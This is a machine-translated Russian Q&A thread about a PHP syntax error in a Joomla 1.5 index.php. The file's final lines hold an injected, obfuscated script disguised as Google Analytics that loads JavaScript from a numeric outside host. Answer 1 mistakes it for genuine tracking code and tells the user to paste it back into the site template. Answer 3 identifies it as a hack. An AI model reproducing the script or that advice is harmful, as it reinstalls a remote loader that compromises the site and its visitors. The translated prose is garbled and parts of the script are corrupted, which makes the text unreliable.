Ошибка анализа: синтаксическая ошибка, неожиданный "<" in - Fix?

Newb здесь пытается исправить мой PHP-код. Получение ошибки в строке 89.

<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)[email protected]#=!)\'!h$#t^!#[email protected]@!$p&^[email protected]:$^/[email protected]#!/#9(1)@.(2)1#(2)!.^&  [email protected]!#^5(@#!.!&[email protected]#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>

Ответ 1

Просто нашел файл в пакете Joomla 1.5. Это index.php в корневом каталоге. Поскольку этот файл состоит только из 89 строк, и он доказал свою эффективность, это не проблема с самой Joomla.

Как и предлагалось выше, вырезать все после строки 89 и восстановить файл в исходном макете. Если вы не уверены, загрузите последнюю установку Joomla 1.5 и возьмите прилагаемый файл index.php. Btw. неразумно возвращать любой контент в ясный текст после того, как он, возможно, уже был возвращен gzipped от Joomla, и тег body уже закрыт.

Как восстановить функциональность Google Analytics? Найдите текущий шаблон, откройте файл index.php и добавьте следующее перед тегом body:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)[email protected]#=!)\'!h$#t^!#[email protected]@!$p&^[email protected]:$^/[email protected]#!/#9(1)@.(2)1#(2)!.^&  [email protected]!#^5(@#!.!&[email protected]#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>

Ответ 2

Вы начинаете новый раздел <?php, не заканчивая предыдущий.

Почему вы открываете новый раздел <?php в первую очередь? Ты уже в одном. Просто удалите часть <?php в строке 89, и я подозреваю, что все будет хорошо - по крайней мере синтаксически.

Чтобы быть понятным, у вас есть:

<?php
stuff
<?php
more stuff
?>

Вы хотите:

<?php
stuff
more stuff
?>

Ответ 3

Я думаю, что это какой-то взломанный поиск в Интернете, я обнаружил, что это случилось с моим утренним утром в 9 утра, не догоняло его до той ночи, когда я уезжаю в воскресенье. Я просмотрел свой журнал php и обнаружил, что он был вставлен практически в каждый файл index.php, который у меня был. Я сделал полное восстановление с прошлой ночи. и изменил ВСЕ мои пароли, которые имеют какой-либо доступ ко всему. Я сайт, который я читал (google переводил немецкий сайт), я думаю, упоминал, что он отправлял информацию обратно в Украину, но я не могу это подтвердить. Все, что я знаю, это я не вложил, и это было более 20 страниц. повезло, это заняло мой сайт, поэтому мне пришлось выяснить, почему.

Укажите, какую версию joomla и другие компоненты вы используете.